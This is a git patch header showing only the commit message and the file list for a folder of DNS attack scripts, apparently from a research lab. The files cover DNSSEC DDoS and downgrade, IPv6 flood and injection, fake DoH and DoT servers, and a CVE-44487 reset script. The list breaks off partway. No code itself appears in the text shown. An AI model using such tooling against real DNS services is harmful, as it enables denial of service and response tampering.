From 7dcc5cea7ce0d65a586995b2f0d7772666c2d0dd Mon Sep 17 00:00:00 2001 From: modikai Date: Fri, 24 Nov 2023 10:33:18 +0800 Subject: Update files --- att script/1 (dnssec-ddos)/ddos-topology.png | Bin 0 -> 461209 bytes att script/1 (dnssec-ddos)/dtool | Bin 0 -> 9702192 bytes att script/1 (dnssec-ddos)/rogue-ns | Bin 0 -> 6652077 bytes .../1 (dnssec-ddos)/\350\257\264\346\230\216.md" | 73 +++ ...25\260\346\215\256\346\263\250\345\205\245.pdf" | Bin 0 -> 190217 bytes ...25\260\346\215\256\347\257\241\346\224\271.pdf" | Bin 182834 -> 0 bytes att script/10/dot_stub.py | 45 -- att script/10/fake_DoH.py | 63 ++ att script/10/fake_DoT.py | 63 -- ...25\260\346\215\256\346\263\250\345\205\245.pdf" | Bin 190217 -> 0 bytes ...25\260\346\215\256\346\263\250\345\205\245.pdf" | Bin 0 -> 187132 bytes att script/11/dot_stub.py | 45 ++ att script/11/fake_DoH.py | 63 -- att script/11/fake_DoT.py | 63 ++ att script/12-16 (target_GZ)/fpdns_client | Bin 0 -> 8183443 bytes att script/12-16 (target_GZ)/fpdns_server | Bin 0 -> 12494479 bytes att script/12-16 (target_GZ)/topology.png | Bin 0 -> 406448 bytes .../12-16 (target_GZ)/\350\257\264\346\230\216.md" | 66 ++ ...57\267\345\210\240\351\231\244\346\210\221.txt" | 0 att script/12/.gitkeep | 0 ...25\260\346\215\256\346\263\250\345\205\245.pdf" | Bin 187132 -> 0 bytes att script/12/dot_stub.py | 45 -- att script/12/fake_DoT.py | 63 -- .../2 (dnssec-downgrade)/downgrade-topology.png | Bin 0 -> 37160 bytes att script/2 (dnssec-downgrade)/proxy.py | 196 ++++++ .../\350\257\264\346\230\216.md" | 52 ++ .../go.mod" | 21 + .../go.sum" | 46 ++ .../main.go" | 49 ++ .../Ohmyfile" | 4 + .../core/core.go" | 5 + .../core/dnsserver/address.go" | 86 +++ .../core/dnsserver/config.go" | 105 ++++ .../core/dnsserver/https.go" | 29 + .../core/dnsserver/onstartup.go" | 60 ++ .../core/dnsserver/register.go" | 328 ++++++++++ .../core/dnsserver/server.go" | 456 ++++++++++++++ .../core/dnsserver/server_grpc.go" | 180 ++++++ .../core/dnsserver/server_https.go" | 209 +++++++ .../core/dnsserver/server_tls.go" | 102 +++ .../core/dnsserver/view.go" | 19 + .../core/dnsserver/zdirectives.go" | 21 + .../core/plug/zplugin.go" | 17 + .../core/prober/address.go" | 85 +++ .../core/prober/onstartup.go" | 54 ++ .../core/prober/pdirectives.go" | 15 + .../core/prober/prober_args.go" | 10 + .../core/prober/prober_http.go" | 285 +++++++++ .../core/prober/prober_serve.go" | 405 ++++++++++++ .../core/prober/register.go" | 209 +++++++ .../go.mod" | 36 ++ .../go.sum" | 111 ++++ .../ohmain/run.go" | 187 ++++++ .../ohmain/version.go" | 7 + .../ohmydns.go" | 12 + .../plugin.cfg" | 9 + .../plugin/atk/atk.go" | 127 ++++ .../plugin/atk/atkutil.go" | 23 + .../plugin/atk/atkutil_test.go" | 55 ++ .../plugin/atk/setup.go" | 49 ++ .../plugin/debug/debug.go" | 23 + .../plugin/debug/pcap.go" | 71 +++ .../plugin/dnstap/dnstap.go" | 60 ++ .../plugin/dnstap/encoder.go" | 40 ++ .../plugin/dnstap/io.go" | 143 +++++ .../plugin/dnstap/msg/msg.go" | 97 +++ .../plugin/dnstap/setup.go" | 131 ++++ .../plugin/dnstap/writer.go" | 39 ++ .../plugin/forward/dnstap.go" | 64 ++ .../plugin/forward/forward.go" | 250 ++++++++ .../plugin/forward/metric.go" | 24 + .../plugin/forward/policy.go" | 68 ++ .../plugin/forward/setup.go" | 291 +++++++++ .../plugin/log/README.md" | 4 + .../plugin/log/log.go" | 72 +++ .../plugin/log/setup.go" | 101 +++ .../plugin/metadata/README.md" | 43 ++ .../plugin/metadata/metadata.go" | 42 ++ .../plugin/metadata/provider.go" | 89 +++ .../plugin/metadata/setup.go" | 45 ++ .../plugin/normalize.go" | 179 ++++++ .../plugin/pkg/README.md" | 1 + .../plugin/pkg/cidr/cidr.go" | 82 +++ .../plugin/pkg/dnstest/multirecorder.go" | 40 ++ .../plugin/pkg/dnstest/recorder.go" | 52 ++ .../plugin/pkg/dnstest/server.go" | 64 ++ .../plugin/pkg/dnsutil/reverse.go" | 81 +++ .../plugin/pkg/dnsutil/ttl.go" | 51 ++ .../plugin/pkg/doh/doh.go" | 133 ++++ .../plugin/pkg/edns/edns.go" | 70 +++ .../plugin/pkg/http/http.go" | 39 ++ .../plugin/pkg/log/listener.go" | 139 +++++ .../plugin/pkg/log/log.go" | 113 ++++ .../plugin/pkg/log/plugin.go" | 91 +++ .../plugin/pkg/log/runtime.go" | 12 + .../plugin/pkg/nonwriter/nonwriter.go" | 19 + .../plugin/pkg/parse/host.go" | 121 ++++ .../plugin/pkg/parse/parse.go" | 37 ++ .../plugin/pkg/parse/transport.go" | 36 ++ .../plugin/pkg/prober/args.go" | 30 + .../plugin/pkg/prober/prober.go" | 150 +++++ .../plugin/pkg/prober/prober_config.go" | 129 ++++ .../plugin/pkg/prober/prober_meta.go" | 11 + .../plugin/pkg/prober/proberandgoroutlist.go" | 96 +++ .../plugin/pkg/prober/proberutil.go" | 78 +++ .../plugin/pkg/proxy/connect.go" | 157 +++++ .../plugin/pkg/proxy/error.go" | 24 + .../plugin/pkg/proxy/health.go" | 130 ++++ .../plugin/pkg/proxy/metric.go" | 49 ++ .../plugin/pkg/proxy/persistent.go" | 157 +++++ .../plugin/pkg/proxy/proxy.go" | 107 ++++ .../plugin/pkg/proxy/type.go" | 40 ++ .../plugin/pkg/rand/rand.go" | 34 + .../plugin/pkg/rcode/rcode.go" | 15 + .../plugin/pkg/replacer/replacer.go" | 275 +++++++++ .../plugin/pkg/request/README.md" | 1 + .../plugin/pkg/request/edns0.go" | 30 + .../plugin/pkg/request/http_request.go" | 25 + .../plugin/pkg/request/request.go" | 362 +++++++++++ .../plugin/pkg/request/writer.go" | 21 + .../plugin/pkg/response/classify.go" | 61 ++ .../plugin/pkg/response/type.go" | 150 +++++ .../plugin/pkg/reuseport/listen_no_reuseport.go" | 13 + .../plugin/pkg/reuseport/listen_reuseport.go" | 35 ++ .../plugin/pkg/tls/tls.go" | 149 +++++ .../plugin/pkg/trace/trace.go" | 7 + .../plugin/pkg/transport/transport.go" | 26 + .../plugin/pkg/uniq/uniq.go" | 46 ++ .../plugin/pkg/up/up.go" | 80 +++ .../plugin/plugin.go" | 109 ++++ .../plugin/plugin_prober.go" | 99 +++ .../plugin/prober/probe53/probe53.go" | 27 + .../plugin/prober/probe53/setup.go" | 23 + .../plugin/prober/qname/qname.go" | 89 +++ .../plugin/prober/qname/qnameutil.go" | 13 + .../plugin/prober/qname/setup.go" | 27 + .../plugin/prometheus/context.go" | 36 ++ .../plugin/prometheus/handler.go" | 56 ++ .../plugin/prometheus/metrics.go" | 170 +++++ .../plugin/prometheus/recorder.go" | 27 + .../plugin/prometheus/registry.go" | 28 + .../plugin/prometheus/setup.go" | 106 ++++ .../plugin/prometheus/vars/monitor.go" | 34 + .../plugin/prometheus/vars/report.go" | 32 + .../plugin/prometheus/vars/vars.go" | 88 +++ .../plugin/register.go" | 19 + .../plugin/whoami/setup.go" | 22 + .../plugin/whoami/whoami.go" | 56 ++ .../plugin_gen.go" | 126 ++++ ...7\264\346\230\216\346\226\207\346\241\243.docx" | Bin 0 -> 275082 bytes .../4 (v6\346\263\250\345\205\245)/code/attack.sh" | 3 + .../code/dns_OPT.bin" | Bin 0 -> 11 bytes .../code/dns_end.bin" | Bin 0 -> 5 bytes .../code/dns_query.sh" | 8 + .../code/dns_start.bin" | Bin 0 -> 10 bytes .../code/src/fakedns6/attack.go" | 685 +++++++++++++++++++++ .../code/src/fakedns6/dns.go" | 261 ++++++++ .../code/src/fakedns6/go.mod" | 15 + .../code/src/fakedns6/go.sum" | 25 + .../code/src/fakedns6/ipv6util.go" | 103 ++++ .../code/src/fakedns6/library.go" | 171 +++++ .../code/src/flood/go.mod" | 20 + .../code/src/flood/go.sum" | 38 ++ .../code/src/flood/ipv6util.go" | 103 ++++ .../code/src/flood/main.go" | 192 ++++++ .../4 (v6\346\263\250\345\205\245)/code/start.sh" | 38 ++ ...7\264\346\230\216\346\226\207\346\241\243.docx" | Bin 0 -> 86446 bytes .../go.mod" | 21 - .../go.sum" | 46 -- .../main.go" | 49 -- .../Ohmyfile" | 4 - .../core/core.go" | 5 - .../core/dnsserver/address.go" | 86 --- .../core/dnsserver/config.go" | 105 ---- .../core/dnsserver/https.go" | 29 - .../core/dnsserver/onstartup.go" | 60 -- .../core/dnsserver/register.go" | 328 ---------- .../core/dnsserver/server.go" | 456 -------------- .../core/dnsserver/server_grpc.go" | 180 ------ .../core/dnsserver/server_https.go" | 209 ------- .../core/dnsserver/server_tls.go" | 102 --- .../core/dnsserver/view.go" | 19 - .../core/dnsserver/zdirectives.go" | 21 - .../core/plug/zplugin.go" | 17 - .../core/prober/address.go" | 85 --- .../core/prober/onstartup.go" | 54 -- .../core/prober/pdirectives.go" | 15 - .../core/prober/prober_args.go" | 10 - .../core/prober/prober_http.go" | 285 --------- .../core/prober/prober_serve.go" | 405 ------------ .../core/prober/register.go" | 209 ------- .../go.mod" | 36 -- .../go.sum" | 111 ---- .../ohmain/run.go" | 187 ------ .../ohmain/version.go" | 7 - .../ohmydns.go" | 12 - .../plugin.cfg" | 9 - .../plugin/atk/atk.go" | 127 ---- .../plugin/atk/atkutil.go" | 23 - .../plugin/atk/atkutil_test.go" | 55 -- .../plugin/atk/setup.go" | 49 -- .../plugin/debug/debug.go" | 23 - .../plugin/debug/pcap.go" | 71 --- .../plugin/dnstap/dnstap.go" | 60 -- .../plugin/dnstap/encoder.go" | 40 -- .../plugin/dnstap/io.go" | 143 ----- .../plugin/dnstap/msg/msg.go" | 97 --- .../plugin/dnstap/setup.go" | 131 ---- .../plugin/dnstap/writer.go" | 39 -- .../plugin/forward/dnstap.go" | 64 -- .../plugin/forward/forward.go" | 250 -------- .../plugin/forward/metric.go" | 24 - .../plugin/forward/policy.go" | 68 -- .../plugin/forward/setup.go" | 291 --------- .../plugin/log/README.md" | 4 - .../plugin/log/log.go" | 72 --- .../plugin/log/setup.go" | 101 --- .../plugin/metadata/README.md" | 43 -- .../plugin/metadata/metadata.go" | 42 -- .../plugin/metadata/provider.go" | 89 --- .../plugin/metadata/setup.go" | 45 -- .../plugin/normalize.go" | 179 ------ .../plugin/pkg/README.md" | 1 - .../plugin/pkg/cidr/cidr.go" | 82 --- .../plugin/pkg/dnstest/multirecorder.go" | 40 -- .../plugin/pkg/dnstest/recorder.go" | 52 -- .../plugin/pkg/dnstest/server.go" | 64 -- .../plugin/pkg/dnsutil/reverse.go" | 81 --- .../plugin/pkg/dnsutil/ttl.go" | 51 -- .../plugin/pkg/doh/doh.go" | 133 ---- .../plugin/pkg/edns/edns.go" | 70 --- .../plugin/pkg/http/http.go" | 39 -- .../plugin/pkg/log/listener.go" | 139 ----- .../plugin/pkg/log/log.go" | 113 ---- .../plugin/pkg/log/plugin.go" | 91 --- .../plugin/pkg/log/runtime.go" | 12 - .../plugin/pkg/nonwriter/nonwriter.go" | 19 - .../plugin/pkg/parse/host.go" | 121 ---- .../plugin/pkg/parse/parse.go" | 37 -- .../plugin/pkg/parse/transport.go" | 36 -- .../plugin/pkg/prober/args.go" | 30 - .../plugin/pkg/prober/prober.go" | 150 ----- .../plugin/pkg/prober/prober_config.go" | 129 ---- .../plugin/pkg/prober/prober_meta.go" | 11 - .../plugin/pkg/prober/proberandgoroutlist.go" | 96 --- .../plugin/pkg/prober/proberutil.go" | 78 --- .../plugin/pkg/proxy/connect.go" | 157 ----- .../plugin/pkg/proxy/error.go" | 24 - .../plugin/pkg/proxy/health.go" | 130 ---- .../plugin/pkg/proxy/metric.go" | 49 -- .../plugin/pkg/proxy/persistent.go" | 157 ----- .../plugin/pkg/proxy/proxy.go" | 107 ---- .../plugin/pkg/proxy/type.go" | 40 -- .../plugin/pkg/rand/rand.go" | 34 - .../plugin/pkg/rcode/rcode.go" | 15 - .../plugin/pkg/replacer/replacer.go" | 275 --------- .../plugin/pkg/request/README.md" | 1 - .../plugin/pkg/request/edns0.go" | 30 - .../plugin/pkg/request/http_request.go" | 25 - .../plugin/pkg/request/request.go" | 362 ----------- .../plugin/pkg/request/writer.go" | 21 - .../plugin/pkg/response/classify.go" | 61 -- .../plugin/pkg/response/type.go" | 150 ----- .../plugin/pkg/reuseport/listen_no_reuseport.go" | 13 - .../plugin/pkg/reuseport/listen_reuseport.go" | 35 -- .../plugin/pkg/tls/tls.go" | 149 ----- .../plugin/pkg/trace/trace.go" | 7 - .../plugin/pkg/transport/transport.go" | 26 - .../plugin/pkg/uniq/uniq.go" | 46 -- .../plugin/pkg/up/up.go" | 80 --- .../plugin/plugin.go" | 109 ---- .../plugin/plugin_prober.go" | 99 --- .../plugin/prober/probe53/probe53.go" | 27 - .../plugin/prober/probe53/setup.go" | 23 - .../plugin/prober/qname/qname.go" | 89 --- .../plugin/prober/qname/qnameutil.go" | 13 - .../plugin/prober/qname/setup.go" | 27 - .../plugin/prometheus/context.go" | 36 -- .../plugin/prometheus/handler.go" | 56 -- .../plugin/prometheus/metrics.go" | 170 ----- .../plugin/prometheus/recorder.go" | 27 - .../plugin/prometheus/registry.go" | 28 - .../plugin/prometheus/setup.go" | 106 ---- .../plugin/prometheus/vars/monitor.go" | 34 - .../plugin/prometheus/vars/report.go" | 32 - .../plugin/prometheus/vars/vars.go" | 88 --- .../plugin/register.go" | 19 - .../plugin/whoami/setup.go" | 22 - .../plugin/whoami/whoami.go" | 56 -- .../plugin_gen.go" | 126 ---- ...7\264\346\230\216\346\226\207\346\241\243.docx" | Bin 275082 -> 0 bytes .../5 (v6\347\257\241\346\224\271)/code/attack.sh" | 3 + .../code/dns_OPT.bin" | Bin 0 -> 11 bytes .../code/dns_end.bin" | Bin 0 -> 5 bytes .../code/dns_query.sh" | 8 + .../code/dns_start.bin" | Bin 0 -> 10 bytes .../code/src/fakedns6/attack.go" | 685 +++++++++++++++++++++ .../code/src/fakedns6/dns.go" | 261 ++++++++ .../code/src/fakedns6/go.mod" | 15 + .../code/src/fakedns6/go.sum" | 25 + .../code/src/fakedns6/ipv6util.go" | 103 ++++ .../code/src/fakedns6/library.go" | 171 +++++ .../code/src/flood/go.mod" | 20 + .../code/src/flood/go.sum" | 38 ++ .../code/src/flood/ipv6util.go" | 103 ++++ .../code/src/flood/main.go" | 192 ++++++ .../5 (v6\347\257\241\346\224\271)/code/start.sh" | 38 ++ ...7\264\346\230\216\346\226\207\346\241\243.docx" | Bin 0 -> 87452 bytes .../5(v6\346\263\250\345\205\245)/code/attack.sh" | 3 - .../code/dns_OPT.bin" | Bin 11 -> 0 bytes .../code/dns_end.bin" | Bin 5 -> 0 bytes .../code/dns_query.sh" | 8 - .../code/dns_start.bin" | Bin 10 -> 0 bytes .../code/src/fakedns6/attack.go" | 685 --------------------- .../code/src/fakedns6/dns.go" | 261 -------- .../code/src/fakedns6/go.mod" | 15 - .../code/src/fakedns6/go.sum" | 25 - .../code/src/fakedns6/ipv6util.go" | 103 ---- .../code/src/fakedns6/library.go" | 171 ----- .../code/src/flood/go.mod" | 20 - .../code/src/flood/go.sum" | 38 -- .../code/src/flood/ipv6util.go" | 103 ---- .../code/src/flood/main.go" | 192 ------ .../5(v6\346\263\250\345\205\245)/code/start.sh" | 38 -- ...7\264\346\230\216\346\226\207\346\241\243.docx" | Bin 86446 -> 0 bytes .../6(v6\347\257\241\346\224\271)/code/attack.sh" | 3 - .../code/dns_OPT.bin" | Bin 11 -> 0 bytes .../code/dns_end.bin" | Bin 5 -> 0 bytes .../code/dns_query.sh" | 8 - .../code/dns_start.bin" | Bin 10 -> 0 bytes .../code/src/fakedns6/attack.go" | 685 --------------------- .../code/src/fakedns6/dns.go" | 261 -------- .../code/src/fakedns6/go.mod" | 15 - .../code/src/fakedns6/go.sum" | 25 - .../code/src/fakedns6/ipv6util.go" | 103 ---- .../code/src/fakedns6/library.go" | 171 ----- .../code/src/flood/go.mod" | 20 - .../code/src/flood/go.sum" | 38 -- .../code/src/flood/ipv6util.go" | 103 ---- .../code/src/flood/main.go" | 192 ------ .../6(v6\347\257\241\346\224\271)/code/start.sh" | 38 -- ...7\264\346\230\216\346\226\207\346\241\243.docx" | Bin 87452 -> 0 bytes att script/6/.gitkeep | 0 att script/6/att_pending_cookie.py | 127 ++++ att script/6/start_pending.py | 20 + ...13\222\347\273\235\346\234\215\345\212\241.pdf" | Bin 0 -> 178358 bytes ...13\222\347\273\235\346\234\215\345\212\241.pdf" | Bin 0 -> 171215 bytes att script/7/att_pending_cookie.py | 127 ---- att script/7/cve44487.py | 152 +++++ att script/7/start_pending.py | 20 - att script/7/start_reset_att.py | 26 + ...13\222\347\273\235\346\234\215\345\212\241.pdf" | Bin 178358 -> 0 bytes att script/8/10/.gitkeep | 0 ...25\260\346\215\256\347\257\241\346\224\271.pdf" | Bin 0 -> 182907 bytes ...13\222\347\273\235\346\234\215\345\212\241.pdf" | Bin 171215 -> 0 bytes att script/8/cve44487.py | 152 ----- att script/8/fake_DoH.py | 63 ++ att script/8/start_reset_att.py | 26 - att script/9/10/.gitkeep | 0 ...25\260\346\215\256\347\257\241\346\224\271.pdf" | Bin 182907 -> 0 bytes ...25\260\346\215\256\347\257\241\346\224\271.pdf" | Bin 0 -> 182834 bytes att script/9/dot_stub.py | 45 ++ att script/9/fake_DoH.py | 63 -- att script/9/fake_DoT.py | 63 ++ att script/dnssec-ddos/ddos-topology.png | Bin 461209 -> 0 bytes att script/dnssec-ddos/dtool | Bin 9702192 -> 0 bytes att script/dnssec-ddos/rogue-ns | Bin 6652077 -> 0 bytes .../dnssec-ddos/\350\257\264\346\230\216.md" | 73 --- att script/dnssec-downgrade/downgrade-topology.png | Bin 37160 -> 0 bytes att script/dnssec-downgrade/proxy.py | 196 ------ .../dnssec-downgrade/\350\257\264\346\230\216.md" | 52 -- att script/target_GZ/fpdns_client | Bin 8183443 -> 0 bytes att script/target_GZ/fpdns_server | Bin 12494479 -> 0 bytes att script/target_GZ/topology.png | Bin 406448 -> 0 bytes "att script/target_GZ/\350\257\264\346\230\216.md" | 66 -- ...57\267\345\210\240\351\231\244\346\210\221.txt" | 0 376 files changed, 14526 insertions(+), 14526 deletions(-) create mode 100644 att script/1 (dnssec-ddos)/ddos-topology.png create mode 100644 att script/1 (dnssec-ddos)/dtool create mode 100644 att script/1 (dnssec-ddos)/rogue-ns create mode 100644 "att script/1 (dnssec-ddos)/\350\257\264\346\230\216.md" create mode 100644 "att script/10/DoH\346\225\260\346\215\256\346\263\250\345\205\245.pdf" delete mode 100644 "att script/10/DoT\346\225\260\346\215\256\347\257\241\346\224\271.pdf" delete mode 100644 att script/10/dot_stub.py create mode 100644 att script/10/fake_DoH.py delete mode 100644 att script/10/fake_DoT.py delete mode 100644 "att script/11/DoH\346\225\260\346\215\256\346\263\250\345\205\245.pdf" create mode 100644 "att script/11/DoT\346\225\260\346\215\256\346\263\250\345\205\245.pdf" create mode 100644 att script/11/dot_stub.py delete mode 100644 att script/11/fake_DoH.py create mode 100644 att script/11/fake_DoT.py create mode 100644 att script/12-16 (target_GZ)/fpdns_client create mode 100644 att script/12-16 (target_GZ)/fpdns_server create mode 100644 att script/12-16 (target_GZ)/topology.png create mode 100644 "att script/12-16 (target_GZ)/\350\257\264\346\230\216.md" create mode 100644 "att script/12-16 (target_GZ)/\350\257\267\345\210\240\351\231\244\346\210\221.txt" delete mode 100644 att script/12/.gitkeep delete mode 100644 "att script/12/DoT\346\225\260\346\215\256\346\263\250\345\205\245.pdf" delete mode 100644 att script/12/dot_stub.py delete mode 100644 att script/12/fake_DoT.py create mode 100644 att script/2 (dnssec-downgrade)/downgrade-topology.png create mode 100644 att script/2 (dnssec-downgrade)/proxy.py create mode 100644 "att script/2 (dnssec-downgrade)/\350\257\264\346\230\216.md" create mode 100644 "att script/3 (v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/go.mod" create mode 100644 "att script/3 (v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/go.sum" create mode 100644 "att script/3 (v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/main.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/Ohmyfile" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/core.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/address.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/config.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/https.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/onstartup.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/register.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_grpc.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_https.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_tls.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/view.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/zdirectives.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/plug/zplugin.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/address.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/onstartup.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/pdirectives.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_args.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_http.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_serve.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/register.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/go.mod" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/go.sum" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmain/run.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmain/version.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmydns.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin.cfg" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atk.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atkutil.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atkutil_test.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/setup.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/debug/debug.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/debug/pcap.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/dnstap.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/encoder.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/io.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/msg/msg.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/setup.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/writer.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/dnstap.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/forward.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/metric.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/policy.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/setup.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/README.md" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/log.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/setup.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/README.md" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/metadata.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/provider.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/setup.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/normalize.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/README.md" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/cidr/cidr.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/multirecorder.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/recorder.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/server.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnsutil/reverse.go" create mode 100644 "att script/3 (v6 